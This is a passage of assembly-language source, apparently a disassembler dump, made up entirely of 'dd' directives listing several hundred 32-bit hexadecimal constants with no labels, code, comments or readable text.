		dd 0AE18DD3Fh, 68809B15h, 0CC4C4EACh, 5A183DBCh, 67CA096Bh
		dd 26EA4C19h, 0A1DE4425h, 0B7530669h, 0E22158B2h, 8CDB091Eh
		dd 59149C7Ah, 0EC288F96h, 6DDC6C2Bh, 76E2D109h,	0DFF20001h
		dd 0E977415Dh, 0D16ED72Dh, 0B9FB8923h, 0CF7B65CCh, 0A622DB2Dh
		dd 0E05D9755h, 9CD198D5h, 0BD082A03h, 4CE9C6F1h, 0CA52258Eh
		dd 82E49A7Dh, 6C5C1B01h, 72040BD3h, 2A024B3Eh, 0F6053766h
		dd 8F5AA40Eh, 70BE65DAh, 0B48385F3h, 6DAC091h, 9DB8B841h
		dd 0ACB6080Ch, 0C84E112h, 88E3301Fh, 0B059B1D1h, 0B5A05A8Ah
		dd 5F3D6086h, 0F33A12C3h, 3AED085Bh, 5E8B0840h,	0CBA1ED03h
		dd 260B7587h, 25879577h, 0F62039D5h, 0B70F1B38h, 28C5B20Dh
		dd 52AFC0FAh, 0E924CBB6h, 0FDA72F8Bh, 646AB53Ch, 0A00327CDh
		dd 0DB289926h, 1216A6D4h, 0AB9EED80h, 0F4814993h, 0AEEE53FAh
		dd 18AA3C0Ch, 1BE22D68h, 6267F499h, 28E03204h, 295D01DCh
		dd 0D3C20D8h, 99A73AF9h, 28C35112h, 0E7955811h,	8651AD82h
		dd 0DD6C6862h, 0C7759289h, 5F5E80EBh, 19E97315h, 38FEA35Bh
		dd 905F5990h, 68C28CADh, 72FC7C5Bh, 2B70CA71h, 8287ABDDh
		dd 69E3D42Eh, 227CAA00h, 0C89A21DBh, 800506C9h,	0DE24E2A2h
		dd 47E918FFh, 0E6C0409Ah, 0C6302098h, 0F64D063Bh, 40AD6D6h
		dd 0D078A009h, 0F7BD5540h, 30FC0E07h, 0B9E2E889h, 4F09DE98h
		dd 4D33D01Dh, 13D63DB8h, 60C655F7h, 98E40E15h, 0EDC09D76h
		dd 24BA658Eh, 28F5013Fh, 0E6A108C5h, 0BB297408h, 0F14F1C2Eh
		dd 0EDF38100h, 0A234B552h, 0B1CA61EBh, 6EF8C7Fh, 77950270h
		dd 0A9201296h, 0F82FF58Fh, 7A45F156h, 0AA7F357Eh, 14013B9Dh
		dd 323FB3EEh, 8B754801h, 81C5DF41h, 7D106880h, 4DE94541h
		dd 0FB4B25F4h, 975C9E6Ch, 4D6B4844h, 2C11DEB9h,	0B8552784h
		dd 2C685097h, 634937B3h, 81D15B58h, 810A543Ah, 31F9A57h
		dd 0DA03B157h, 255EF33Bh, 188E56B1h, 49F7A3C5h,	5A51441Fh
		dd 4D115525h, 0AD3F7553h, 13BEF496h, 8007C0C1h,	6812C6EBh
		dd 4731406Eh, 0EEF4C8B6h, 0E9510BC4h, 115630DEh, 4782CE97h
		dd 42AC745Ch, 515FFD29h, 7BE942A7h, 5603F958h, 67F76857h
		dd 5826B6BFh, 0C91D2EEFh, 45E79F7Fh, 0BC5AE641h, 0B0137419h
		dd 22F9ED22h, 559CF602h, 50C31F6Dh, 4BB85300h, 50219667h
		dd 31582D5Ah, 0DF421BFFh, 300B728Fh, 1586C862h,	43DA1421h
		dd 59128131h, 0A4DDA8A7h, 706BF6EFh, 667D4100h,	0F04E9ABBh
		dd 7ED998FDh, 3D1C264Fh, 0BAE904E1h, 0B9CCAB12h, 776209E2h
		dd 92D4428Ch, 33F41083h, 7FDE01CCh, 130B77Dh, 2EB31D7h
		dd 0FB555A08h, 2133F94h, 7E9DD957h, 0BF932CBDh,	8E123D91h
		dd 0B594A468h, 0D2F69525h, 2ECE8870h, 20485966h, 0A1E025AAh
		dd 2652A74h, 4558B3C2h,	0B87D2D7Bh, 2DE95299h, 86C5F965h
		dd 0E90414A1h, 0ADA41F7Ch, 509A09F3h, 0B006B47h, 1B3D41FAh
		dd 0DB62E912h, 0F97739AAh, 69002B13h, 0ED12FDBBh, 0D6C4A02Bh
		dd 0C85B4B46h, 0F801F324h, 0F775E26Ch, 7C2052D3h, 24B99CECh
		dd 0B0EA530Dh, 805253D7h, 98686658h, 2BE4E92Dh,	5C48B5CBh
		dd 95048B0Bh, 0E962D8D6h, 2DB056E2h, 60F2AE74h,	82BA1A68h
		dd 737A775h, 50B4D155h,	55610EE1h, 87DF547Bh, 979511Dh
		dd 76EBAA54h, 2A2A6922h, 82620DCBh, 0E7AADBBFh,	0E86244DAh
		dd 0FBF0C78h, 5600F20Bh, 588E3EB0h, 75880CC1h, 0C5405371h
		dd 49F82E02h, 2304D065h, 80698372h, 0C14C8E52h,	2F416E4Ch
		dd 625AFEBEh, 7085B0ACh, 5CD24A98h, 6C3B080Fh, 7146BB01h
		dd 0DFF525F6h, 3012FE32h, 9E62EA10h, 80CE5809h,	82A859DCh
		dd 3FEFF85Dh, 0BF7FD629h, 0FC2F3C67h, 0C00949F1h, 5E9F34D0h
		dd 0E913568Ch, 0F8DC7B3Eh, 67778283h, 0FFEEB2C6h, 0B3136554h
		dd 0C38DC209h, 14F7E995h, 0AD3D563Fh, 69EE487Ch, 0D6E65F04h
		dd 12C0864Ah, 40FB3BEh,	0F701A8D5h, 0B97CD15Eh,	0D633ED51h
		dd 0E1815F76h, 49877D72h, 0A2DC5AAFh, 58A87425h, 68808C0Dh
		dd 0DC28178Dh, 2CA80Ah,	2BB123F3h, 9F48A6E9h, 25EB30B0h
		dd 31E4FD82h, 8081EA7Eh, 0F8E0D5FDh, 0E67AE10Ah, 76135EFEh
		dd 0D209CE85h, 0D830A2A3h, 24A0DC5Bh, 8C973ECEh, 0E09C8934h
		dd 0D3BFD3D1h, 0F8FB3C83h, 284960E8h, 8455E1BFh, 222580B0h
		dd 823AD997h, 1C9348BBh, 0B7C5240h, 4761A412h, 52D147E0h
		dd 40626CB4h, 80012FF4h, 0EACC34F2h, 0F107B701h, 555127F6h
		dd 33A282C5h, 5EFEB801h, 1725BA81h, 0D43B572Eh,	0C44C342Bh
		dd 60FF2596h, 90EF86FBh, 0BD5D4BD3h, 88D085B9h,	3BC72DABh
		dd 2EB9E300h, 0B556F41Ch, 0B3129D79h, 0F3EA0DD1h, 0C52E5D21h
		dd 77D1A1B8h, 0F2325E6Ch, 307F0929h, 1B65271h, 64CE806Bh
		dd 659E7DE9h, 5EB204Dh,	0CD709A1Fh, 24F42959h, 0EE19463Eh
		dd 93049E55h, 411E304Ch, 53521282h, 54263CBFh, 39CC2A56h
		dd 0F53CC688h, 0B10C5194h, 0A049E8Bh, 2754584Fh, 23BE0021h
		dd 1062F181h, 0CCF080Ch, 0D74441Eh, 6F0185D5h, 5404E84h
		dd 1E8BF083h, 0C5F1201Bh, 0E9B76B44h, 4CEA891Fh, 0CEC14BB2h
		dd 0F2295912h, 2DD06408h, 0FAF497C4h, 22AAB64Eh, 62EAFC06h
		dd 0EFF4138Bh, 0B25DE970h, 3A5A5C8Ah, 0EF21E22Ch, 0B8664A44h
		dd 0FA04A5E6h, 0BB001B40h, 59EE4188h, 32F2BE04h, 5EC0AFA5h
		dd 4B2552D4h, 44BD8247h, 340B7DDEh, 63C80F57h, 82CDEF80h
		dd 0B8DDC5F8h, 0E358C213h, 788A4BE1h, 0FAD85B70h, 0E9B92520h
		dd 0AB95D2D6h, 4B215BF4h, 8E7F9D7Fh, 100268FDh,	0DCDDA884h
		dd 79C7015h, 0C050FE25h, 40C40B1Ch, 0BB34282h, 7C65F08h
		dd 64269081h, 0A1BC5FBBh, 30410D6Dh, 0AC3AAF22h, 0A96384F9h
		dd 13BFF2BEh, 0EB95E58h, 13C33B84h, 1F096207h, 5E5F74D2h
		dd 0D3ADB98Dh, 0EA31098h, 2EFD3EE1h, 0D1B7F4D7h, 0FB20C95Ah
		dd 9E5EBF42h, 752E6CFBh, 2FE07F16h, 67140280h, 294D244Ch
		dd 0A049527h, 12174668h, 98A3BA29h, 4F70FA97h, 5E3362BEh
		dd 1C40BF71h, 2F8C2023h, 9ACD27E9h, 58052068h, 1EEA2412h
		dd 724C71BBh, 0A214120Bh, 0F6DDFDF9h, 792C50B6h, 1E1FBB80h
		dd 892AAF5Ch, 61C64A10h, 5D69A803h, 1ECF2960h, 65C0E969h
		dd 63F0ADDEh, 0F95F82A8h, 55BB88AEh, 0C688B862h, 9599F0D5h
		dd 7EA6C68h, 8E7CDC95h,	5880671Ah, 0AAE9D089h, 0BAB800BDh
		dd 619D63BBh, 0F7062A57h, 40A98DAh, 282C7B8Ah, 24C17C6Ch
		dd 27CDEC46h, 0F720375Ah, 0BED988Dh, 0AEA52645h, 0AF316625h
		dd 2350D0B3h, 1ED8B705h, 0C8189BB5h, 62DE1E13h,	8E995027h
		dd 63CA5D51h, 6B0FCEADh, 0B35CF93Ch, 0F915960Bh, 0FC500580h
		dd 0E214EF1Eh, 7C4E2518h, 309B07F1h, 0B10B3957h, 3E10000Fh
		dd 535977B4h, 83F84F7Ch
		dd 0B758407h, 4CB7C215h, 0AF625707h, 9AD05B3h, 29DEA780h
		dd 828A039Fh, 0F38088F6h, 4C9E4617h, 90DA4A01h,	30195AC6h
		dd 55CA3124h, 289275C9h, 0ED5DE4DFh, 0E969A47Ah, 0DD9292F6h
		dd 45952FB5h, 0EEF4D2D3h, 0BE6840BAh, 0EC068302h, 75F1890Ah
		dd 0D98157Ah, 55D035Ch,	729276C3h, 45B23EC0h, 315B2FACh
		dd 1DB0E1D0h, 32EFDE32h, 0C5234128h, 0C23E6F75h, 69D865C7h
		dd 0B6C8A29Eh, 35332C00h, 0FCEED14Ch, 214E02E6h, 0D6F72E90h
		dd 4C546E1h, 0C89BDEECh, 0BB9775E7h, 0BB4A8FE7h, 0B797FF8Ah
		dd 9D03189Ch, 126FC12Dh, 0FEB8D076h, 136AD590h,	9FCB893h
		dd 0D3F3B9C5h, 29688E57h, 8B8CDC6Dh, 84815DEFh,	2C025A9Dh
		dd 504712C8h, 0FB1D23BDh, 0CB81035Fh, 0A3D5A40h, 3E4FBFE3h
		dd 9EBE0256h, 74C4E9A0h, 0BE591705h, 7EFDFC29h,	98FCE4C6h
		dd 0C1C0373Ah, 87603D7Bh, 0DE4173F6h, 2D4F7CB9h, 5B2EE4Bh
		dd 160C4840h, 2D3FBE03h, 0AEC9461Eh, 577A0934h,	0E15238CCh
		dd 0F0F60882h, 9104D76Fh, 0B13D415h, 0B051E17Ch, 0CEC15247h
		dd 43EBEE9h, 0BE0C339Bh, 9317B4A7h, 0E58649D2h,	0C801EBD6h
		dd 2976B768h, 45BA0704h, 403F4520h, 7A0974C0h, 3490EB01h
		dd 0B6E9DA17h, 5EF70AE0h, 6B8FB8D7h, 0A0807F06h, 2185824h
		dd 3396D595h, 622D16CFh, 0D7022F15h, 2640A29Ah,	0D1264D0Eh
		dd 0EBE35Ch, 1E3DCF93h,	98A4A00Eh, 0BDC6FCC5h, 56494E7Ah
		dd 0C85A7845h, 32FFCBCh, 2F626998h, 0E9289F13h,	0BF3D47EBh
		dd 0E6D52BDh, 5061077h,	489BECD3h, 0B90FB555h, 0AFD74E6Ah
		dd 0A3EA1F40h, 0B5C32C17h, 0B2209BF8h, 1287990h, 0F65CB050h
		dd 20E0C0D8h, 0A75A1A69h, 54C821EEh, 72E93F5Fh,	0E9505980h
		dd 0B3B142BFh, 1B6E5302h, 0CFABE129h, 0DFC51178h, 9E37A4BCh
		dd 60CCFB4Eh, 3F8C4115h, 0BB53DD00h, 486914D2h,	0FC1F2F09h
		dd 310D26Bh, 991F6F79h,	183383F4h, 61C7C191h, 3C386C50h
		dd 10CA4C38h, 0FDC68572h, 5A7F0E93h, 0D12D05FCh, 3477F8E1h
		dd 0BF1AB52Fh, 0BA7A3A04h, 0F39D71Ch, 0D2897377h, 0DC30A25Eh
		dd 27ECD966h, 8CDC29E7h, 0FDEB52B3h, 0C03BE4BAh, 1806EE3Ch
		dd 94CCE41h, 515E27F1h,	92756F0Bh, 449A406Ch, 3E018129h
		dd 1007BDBCh, 0E297BA96h, 0E9A02B9Ah, 18B97F14h, 56C3C29Eh
		dd 0F6FF84B7h, 7D2A0557h, 0E3D1496Ah, 0F03B7850h, 68757B12h
		dd 0B06E3840h, 853EF121h, 0C35184CDh, 0B2B78CE9h, 1F6AEEFBh
		dd 0BD6296D5h, 0E32E7B16h, 2140D82Eh, 0F6709F1Ah, 88DBC435h
		dd 0F261AAC5h, 405F1F9h, 90B9557Ah, 777EEC65h, 39BE6E48h
		dd 91888918h, 0C3E77F01h, 4774C25h, 76806E9h, 6B23CD7Eh
		dd 41D1EDCCh, 0C1AD446Ah, 2BD097F0h, 1385A5B8h,	742BB471h
		dd 4ED53312h, 0C5D49603h, 76ACBCEDh, 5BE5F65Ah,	5C3768BEh
		dd 0D4D22DA0h, 2A4B6ADDh, 97BBEB84h, 29F5D7A0h,	0A5A9A5DFh
		dd 83A784E0h, 0BFB2C2E1h, 7BF6C9DDh, 2C88127Eh,	0B1A0B79Eh
		dd 17CF9D9Eh, 5A7B05D0h, 22C3F0AFh, 76EC1BD3h, 0B1AFE2A4h
		dd 42AECE9h, 0BFF20913h, 0C076630Eh, 54843CCh, 0DB7D0075h
		dd 7BC2D1Ch, 57EA2B46h,	3E535003h, 3993FE9h, 6022B94Ch
		dd 0B3E7140Bh, 5260AB95h, 8FB151BAh, 0F6C12CFEh, 57210E15h
		dd 21DBAE17h, 0EADDE91Fh, 5AD7149Ch, 742D805Eh,	8181CD27h
		dd 604A440Ah, 8E0FF1AEh, 6609C9C0h, 297AA177h, 69C3DC88h
		dd 0ACD24FABh, 10C4120h, 61332558h, 7A501971h, 35FC349Dh
		dd 0FB75037Dh, 55630567h, 42757FAAh, 360B7D6Ch,	892CCDFFh
		dd 8FF169E9h, 0DE4DB801h, 4C305F74h, 0D8CE9F89h, 590229B7h
		dd 0E95586CBh, 0B801FFAAh, 7CC2326Bh, 3730E8D1h, 758F4A68h
		dd 0C498EF6Ch, 40AF2DE9h, 6C16D549h, 840F0486h,	0F2FDA3B9h
		dd 0EA187016h, 77682730h, 0ADF5990Fh, 0F500C774h, 0BD5F283Eh
		dd 0DD780AA2h, 0B482315Ch, 0B905D5E8h, 0FFE2B509h, 1860E90Bh
		dd 534F2E66h, 0C685DFBDh, 1FB2AAB0h, 0F2CD0F16h, 0C0F284BEh
		dd 803199BFh, 38086BA8h, 7E68155h, 277743D9h, 0C4E9174Eh
		dd 5BFEA73Ah, 394F3CEEh, 485F8240h, 4F059E43h, 8050C451h
		dd 8E08B85Ah, 0E2181A6Eh, 0DE0BC12Ch, 39948CC7h, 21F02D66h
		dd 814B303Ah, 4A3343D6h, 5DEE6859h, 732FD171h, 225DA7A4h
		dd 906CD6FFh, 0B50BB7D1h, 1D889FF1h, 21584313h,	48F57B10h
		dd 2F363505h, 3608BB93h, 247288B7h, 890E273Dh, 2FE8756Bh
		dd 7DE62A06h, 41A08D9Ah, 0E3F2498h, 45CA874Ah, 73BEF76h
		dd 0BF34E99Eh, 5804BE8h, 29796342h, 49BA094Fh, 0F4E09557h
		dd 5504E6BBh, 0CB877C35h, 4BAD97h, 16B31366h, 6D2D0C22h
		dd 0F10A3138h, 42DF0D1Eh, 0F47BCC80h, 51D80176h, 98A00705h
		dd 34E78112h, 8FB6E32Fh, 7632E9F2h, 5F08B84h, 2D5F2075h
		dd 4B7958D8h, 0A11BEC10h, 0F57E685Eh, 0B28455A8h, 2CFBB450h
		dd 994106A2h, 0B488F541h, 6AF00CAFh, 423CAD06h,	9115A1Dh
		dd 0BCA1451h, 2DF367DFh, 0CF40E71Ah, 0C94C0C9Bh, 0A4F618BFh
		dd 3C5B6658h, 5AAA1F04h, 5ADCFCFFh, 0F3026780h,	0EF8568E5h
		dd 367BB1F3h, 0FC2A9E89h, 17365B31h, 39341C72h,	7A52F4DBh
		dd 8456B850h, 28957082h, 0BE41D59h, 168654F4h, 0C1C444F5h
		dd 0A681118h, 0A99C0010h, 0E798512Fh, 1926713Ah, 0D3F7015Ch
		dd 68F7817Fh, 30BB2BCAh, 8E163C0Bh, 5A3A7A58h, 2DFEBC17h
		dd 10AD7D0Eh, 5A3BA949h, 0EE964712h, 0AEECD399h, 3B5799CFh
		dd 3AFBC90h, 5E776F35h,	11B9E599h, 0AB022E7Fh, 1C478BFBh
		dd 50287DB9h, 2AA805B4h, 5F1BCB07h, 7589E801h, 5B5DEEA3h
		dd 28FEF64Ah, 0FE401086h, 1B52751h, 0EB3324F0h,	24FA25A6h
		dd 1715D04Ch, 0E4E41DF8h, 0FB2893E4h, 1F61E760h, 6970989Eh
		dd 87D71BB7h, 8D843089h, 5D7EF6ECh, 340D5851h, 0E8E08842h
		dd 30CB5448h, 5809DC5Fh, 0B08BC8D3h, 5168B67Ch,	0E941ED95h
		dd 0ED400525h, 12705499h, 0FCB297Fh, 87006A56h,	1C5833Bh
		dd 0F1138173h, 45043A57h, 0A38AAEC8h, 70B257Ch,	0BAA2B4E6h
		dd 0CA5231D4h, 5CC704C7h, 4A97B901h, 0F1F3308Eh, 15448909h
		dd 0DC06622Ah, 0F35D4129h, 4C14290Fh, 913F2A81h, 9799F4BDh
		dd 8832EED1h, 2C6F656h,	66AB5E7Dh, 0D5D00977h, 9586704h
		dd 331E5054h, 0C1A1632Bh, 55776C02h, 0F55839C6h, 8E0F8116h
		dd 0C0494B62h, 0FF140FE7h, 7566B00Eh, 0F7B425F6h, 4E62D6F4h
		dd 838C7E8Eh, 14971E90h, 3F5882DAh, 0F8685304h,	47ED7671h
		dd 0BECAC93h, 762E7520h, 6008A023h, 0E3F785Bh, 2AC2569Ah
		dd 8A38E23Eh, 720C2EF9h, 0EED3CD95h, 0BBBA5AD0h, 4E3F3241h
		dd 133F1AE0h, 7E03BD19h, 4FEDB40h, 0D6B050CAh, 2F32BB20h
		dd 2C835DE6h, 0D8819B2Ch, 0AE5FD304h, 0B8B575F8h, 0B25A8ACEh
		dd 0DF59EE0Bh, 82F7599Ch, 3868994Ah, 3DD4665Ah,	0C81009B3h
		dd 76E9122Eh, 24882AA0h, 1B05BF9h, 59EF287Dh, 0D815CD80h
		dd 0B60952CFh, 75EEC012h, 9C1D4F22h, 57440102h,	0F22C1447h
		dd 36BF57C0h, 4C582812h, 28B618A9h, 22090D4Dh, 0C2420828h
		dd 5E573C03h, 0ED38E954h, 60D7F2AEh, 74680255h,	630D9E1Eh
		dd 0CB100EBDh, 2D037A71h, 75865BC1h, 7FFE25D1h,	0D6FA5DCCh
		dd 9E60D759h, 690BFB6h,	4C9F7A78h, 77247B41h, 35CE82C0h
		dd 0DB605718h, 7B2ECAC6h, 0C80B2061h, 0CF17F98Bh, 5C133ECCh
		dd 0FA2821B3h, 44651803h, 1DDF75Bh, 79CD8104h, 3009737Fh
		dd 0E4096A01h, 8229B0B6h
		dd 5FAE4D71h, 7D9581F2h, 55C75201h, 0EF0A845Ch,	0BD85D4CBh
		dd 58334D0Eh, 16B3EECBh, 0BF776E7Dh, 8134284h, 71885018h
		dd 5F2B0727h, 2983EDD1h, 0CD0240A0h, 5509F184h,	0D9C30FE9h
		dd 0CAC98BAEh, 234BE4FAh, 543D73A4h, 0F8C8A87Dh, 83C3629Dh
		dd 7BE193F2h, 3EC56118h, 46F31B5h, 0BAA8BF06h, 99344FE5h
		dd 16BD9C7Ah, 0A0CEAB5Fh, 663C804Ah, 0C0A00DBDh, 19C657B4h
		dd 29125EF7h, 2E5EAFEh,	57DD6A04h, 85C2D342h, 501C080Ch
		dd 633E4E10h, 841B048h,	2FACDA88h, 9D052824h, 84E982A8h
		dd 0B102D15Fh, 0F08B7EC1h, 0EE685200h, 5A5DBC3Eh, 213440DFh
		dd 1BE9870Dh, 0D5C0B842h, 0A0FE744Eh, 0A4D1669h, 0FF27661Dh
		dd 2B832718h, 8343C4BFh, 6849C299h, 27685BB2h, 0FBD160D6h
		dd 87167B80h, 0CCA8117h, 70EF7D72h, 0D9E37F88h,	945F3477h
		dd 5AFF9659h, 0CC1A4FB2h, 7FF88B19h, 0BE9C529Dh, 1F2F882Ah
		dd 0FD025F29h, 5D587B40h, 57822E0h, 17D653Ch, 0BA8A5F2Dh
		dd 903B8959h, 0DCED94AFh, 29E62Fh, 1A84F50Dh, 58D97925h
		dd 683E16E8h, 0C0D9502Ch, 2EB56A4Ch, 286FE910h,	375C5938h
		dd 87C0063Eh, 0B6DF958h, 0DC9E7C1Bh, 0DD7212FEh, 0DE446BF6h
		dd 0D8103BD2h, 605B6216h, 9E4B1D3Dh, 32E96F0Ch,	5C291A94h
		dd 0AC2528EFh, 0E8E2E6E8h, 2D155C82h, 81B9C57Eh, 629872A7h
		dd 57B211E9h, 10D5C6E2h, 9DD210E3h, 84EF345Eh, 53BFA40Dh
		dd 5FC7A4B0h, 2FF4D6B7h, 0C70B37Eh, 0EE34D683h,	133F4629h
		dd 0E2CFEE20h, 1005269h, 798052F9h, 0D8E25895h,	5AD1F0B3h
		dd 0FDC83125h, 6CBD5A9Ch, 0E9D117FFh, 0C75BB4DDh, 6619200Bh
		dd 0A0B3D476h, 1E5A6008h, 5D9A2CC9h, 7470E095h,	91E5B5C8h
		dd 3057A5h, 1FB968A0h, 9F4F3EB9h, 374C4DC2h, 4EDE307h
		dd 867FAD02h, 0FC1BE89h, 0FE04CB0Eh, 7980F3B0h,	0E58816ECh
		dd 28A0858h, 0DEB574B1h, 18F0B86Bh, 0EF55B719h,	7B571260h
		dd 72D5AA09h, 0BE07EAECh, 29F7385Ch, 4422B68Eh,	0AFD52EAEh
		dd 4FB9209Dh, 4AE9FEE2h, 0B82500E8h, 0D164194h,	83A99B2h
		dd 516CAD58h, 6611A0FFh, 3BD6C05Dh, 0D25B949Dh,	0BE130507h
		dd 7B13F7B0h, 447A7327h, 2CEC95A8h, 2DBE6BD0h, 575162FCh
		dd 0E96598E5h, 0C8E440ACh, 5513E1CFh, 0D4FE23A2h, 16808435h
		dd 68D6420Bh, 4F5D2BFDh, 385FA7CBh, 978BE96Fh, 0AA4C0762h
		dd 8137797h, 92751653h,	4DC92B0h, 0E919E33Ah, 916A0D8h
		dd 87A8DF4Fh, 1A226A02h, 0D0564220h, 68597C25h,	57C2002Fh
		dd 964D6B8h, 0CAF2D74Ah, 0C6650DEh, 0A0520E9h, 81E300D1h
		dd 0F6D33AF3h, 72C53188h, 7582F989h, 0FA720BDCh, 75B4E62Eh
		dd 66AAEC0h, 6B2D505Eh,	251825E9h, 972F5DECh, 3ECB4E46h
		dd 0A5BBD701h, 0D797F84Ah, 0E98BD8AFh, 0DA38F925h, 67446BB5h
		dd 0E596F5Dh, 0FE16BDFFh, 0F6D2CECAh, 5FFA17ECh, 0BDB4F9E8h
		dd 8DC4104Fh, 10F1800Ch, 89804792h, 0FAF0BDEEh,	42A162BFh
		dd 8431E572h, 0E49D38E9h, 1F003CFAh, 0D0F73A8Ch, 30606C05h
		dd 450F1875h, 925A3DF4h, 0BD4413EEh, 9E520564h,	0A2B0D29Fh
		dd 0C809C57h, 0E90BD3F7h, 0CF5AF3EBh, 0E99F29ABh, 5C443446h
		dd 2E2A6816h, 9ED89AE2h, 0F737053h, 1633FCB5h, 995AFFEAh
		dd 0A8C4DF0Ch, 5E62CA58h, 0C8FEDB01h, 0B5E4C324h, 81D93F8h
		dd 0B626D9A4h, 0DD6D4D00h, 9FEF350Fh, 0E1F4CDD8h, 7E0D645Bh
		dd 0F2603B25h, 7419122Eh, 0F77CB440h, 3D72D4F7h, 89450D28h
		dd 471F06F8h, 0C7DF6DBAh, 810851F9h, 0AB05021Ch, 0A36B587Fh
		dd 7D11C10Eh, 0F0C531D2h, 0E9094D66h, 6C7EAF40h, 3F9BE95Bh
		dd 56D95FC2h, 8402BF62h, 16FC6514h, 0CCEAD11Dh,	351893C7h
		dd 0B0780D0Bh, 31A0A214h, 7DF84AD9h, 36203764h,	0A4681C49h
		dd 9E552F56h, 9A60A0D1h, 569D3C7Dh, 0C4CFB9DBh,	0C6CA02D6h
		dd 0F5E44E7Bh, 0BEE3821h, 56C0A2E5h, 45351E95h,	0C0DE0115h
		dd 0AE3A9370h, 685B3930h, 0BAC63C4h, 77B2E97Ch,	500152Fh
		dd 0E5355F33h, 5EFC0A1Dh, 0F12FF342h, 7A685544h, 28013424h
		dd 163C2D7Eh, 9FE82139h, 0D34625FAh, 0B6DEB302h, 0AA64FD09h
		dd 62B784F6h, 55C3AB57h, 3D26276Eh, 7EAA35A5h, 0A82D557Ah
		dd 4FE27CB5h, 405B5D0Dh, 635E1969h, 0AEA51B5Eh,	0B00D135h
		dd 9F0A6EE9h, 8F980AE6h, 4731350Fh, 0BBDFE607h,	70C0971Eh
		dd 0B62719AAh, 87E8879Ah, 85069A3Fh, 0A2BBE87Dh, 0DD88C05Eh
		dd 0C00E1EE9h, 0F659EE11h, 0C65FFED6h, 0E135ACF0h, 0E443FFDEh
		dd 2587F3FBh, 5065EF5Ah, 8266F2FFh, 0FF2D2568h,	0F226AB15h
		dd 40069810h, 1A064335h, 73728382h, 0F780E91Ah,	59ACC122h
		dd 0F04DA46Eh, 7C5B5E25h, 96724B7h, 185D3280h, 95B02009h
		dd 2EA005ECh, 0C917187Bh, 0E840151h, 0B8B60812h, 270DCE40h
		dd 5F417361h, 12AE05F4h, 8416FE80h, 60C64F09h, 9576846h
		dd 5A84D8B6h, 8B69F95Eh, 0D7978957h, 22558D8Bh,	764990B5h
		dd 75E90948h, 4D25EA7Eh, 53E9890Ah, 20B345F0h, 0C7EB8087h
		dd 0B551CB00h, 80F59544h, 0E97AC3E9h, 0EABA4F91h, 76082D44h
		dd 79DDFB13h, 0CEC905F8h, 0FCA0AD1Ch, 2D60636Eh, 8D0D500Bh
		dd 18CC232h, 0F0E2E907h, 1F4EAC4Ah, 68064563h, 0D108005Eh
		dd 13A0A08h, 83D46CB7h,	1C10420Ch, 6152BF5Bh, 9ED60A4h
		dd 60393B9Ch, 3D7BBE81h, 7E60FAD3h, 1F252264h, 1AC25768h
		dd 9CC60809h, 0FE2DD090h, 2414CD5Fh, 33904240h,	9476801h
		dd 41758B51h, 0B8E6566Fh, 0C460183h, 0BD55FC22h, 1665F23Eh
		dd 90BAA78Bh, 5AAD7790h, 2FEC2090h, 54574727h, 2805005Ah
		dd 31A3AE12h, 0D2C522F3h, 0E3103BFCh, 0EC800B6Bh, 1F2CF8B7h
		dd 9605E4C0h, 0ED8D5312h, 583E8A18h, 0F1E2810Ah, 380EAADh
		dd 5FB13C6Fh, 0EB20841Ah, 25E9B23Ch, 567109F3h,	55401A93h
		dd 4B36A4BBh, 0B8015B27h, 0ABCEF1E7h, 16FC2CA7h, 0D5F6933Fh
		dd 0AA876013h, 4EE6DE0Ch, 801830B5h, 6D7D355Bh,	7B23EF27h
		dd 248FA89Dh, 89FDF245h, 0C3875DEBh, 0AE57B401h, 0D1B93516h
		dd 0EBA5F9C5h, 96A4B62h, 80DE09FFh, 291754AEh, 1D58B561h
		dd 85EA133Dh, 644DE94Eh, 0C78640FCh, 0F5048F7Ah, 1F8C8EC5h
		dd 0A128C2h, 0F37FA025h, 4133571h, 2D430240h, 8F0C0EECh
		dd 597DEB60h, 0AD564A51h, 0A008415Fh, 5805141Ch, 0BCE95350h
		dd 815E84F8h, 482B53h, 2F3E4CBDh, 76F033ABh, 3D7A1902h
		dd 0DFF0B0E9h, 5C49D6F1h, 1688464h, 0C9E90F16h,	61E4D5E2h
		dd 0FE97E8E4h, 0BCB54043h, 0C02CCDFEh, 0E10928E5h, 30C47779h
		dd 2FC43D4Ah, 0F5229B6h, 25611627h, 80202CB8h, 6D4849C5h
		dd 54E91622h, 24A4B3A2h, 7DAF9404h, 0E25AB819h,	8509C7DDh
		dd 8D782F68h, 910422h, 8110EE87h, 0F89D411Fh, 0D72E04C9h
		dd 0A006E946h, 9070B4CDh, 6C58E325h, 598D9074h,	0E90D5EB3h
		dd 0D22E67B1h, 5BF93EE0h, 73F62858h, 0F82AC364h, 136EB0C3h
		dd 0F662906h, 0BBFE46B2h, 71165932h, 2E6B4C75h,	0BB63A9A2h
		dd 20C2D516h, 3B2045F3h, 60253000h, 0D29DF09h, 0F7331D59h
		dd 13A6417Eh, 0FEE93AC8h, 3658EEA6h, 725D27Fh, 0E5770F23h
		dd 26926E0Ah, 0F7967F5Dh, 3B7C6220h, 1896525Bh,	0CA9BD326h
		dd 38387399h, 276808EEh, 5FE90548h, 1C05A9E0h, 742F9B1Bh
		dd 9D805A40h, 7421737Fh, 7E05BBB8h, 906D965h, 17DCBF9h
		dd 4637BD38h, 0EDF8BB53h, 48608BBFh, 7E2A68C4h,	0D03F3209h
		dd 53D7C19Ch, 85B81F73h
		dd 0BA7DCB29h, 0EE54CF0h, 48EA3E67h, 0A1241DEh,	625506C9h
		dd 0B64B7713h, 1614D48Ah, 3A7C5AA3h, 0E8DA145Bh, 537118FBh
		dd 30F1C531h, 0EDE6A130h, 901D15CEh, 692C136h, 149D20AFh
		dd 1F9954E6h, 81909A6h,	11F8C343h, 9B4D480Ch, 0FA5F3E38h
		dd 6B4B583Ch, 0A854EF72h, 2D64A508h, 20B1B6DFh,	660B92F5h
		dd 5A536168h, 9DF811Ch,	47A2011h, 8107A0EFh, 2A78CA05h
		dd 58806DF4h, 7C194452h, 73EA003Dh, 0E910DD4Ch,	7E9F8DF0h
		dd 0F2D44049h, 0EDA099CFh, 512C0AADh, 7E00A907h, 0E9A665D7h
		dd 276AB6B8h, 61F03A7Ch, 0F217C052h, 6DFF0B43h,	812D5097h
		dd 0B05503AAh, 0EF36D00h, 7C2D7BEEh, 223926A7h,	1CBE038Eh
		dd 89906C26h, 214E5EF1h, 0A28CB9C1h, 9211377Bh,	29D50B0Fh
		dd 3FD15D54h, 30942EA8h, 4925DB27h, 68182670h, 3BBB4EB4h
		dd 2EA29F76h, 5A04801Fh, 680B0EF3h, 1664EADh, 0C090507Ah
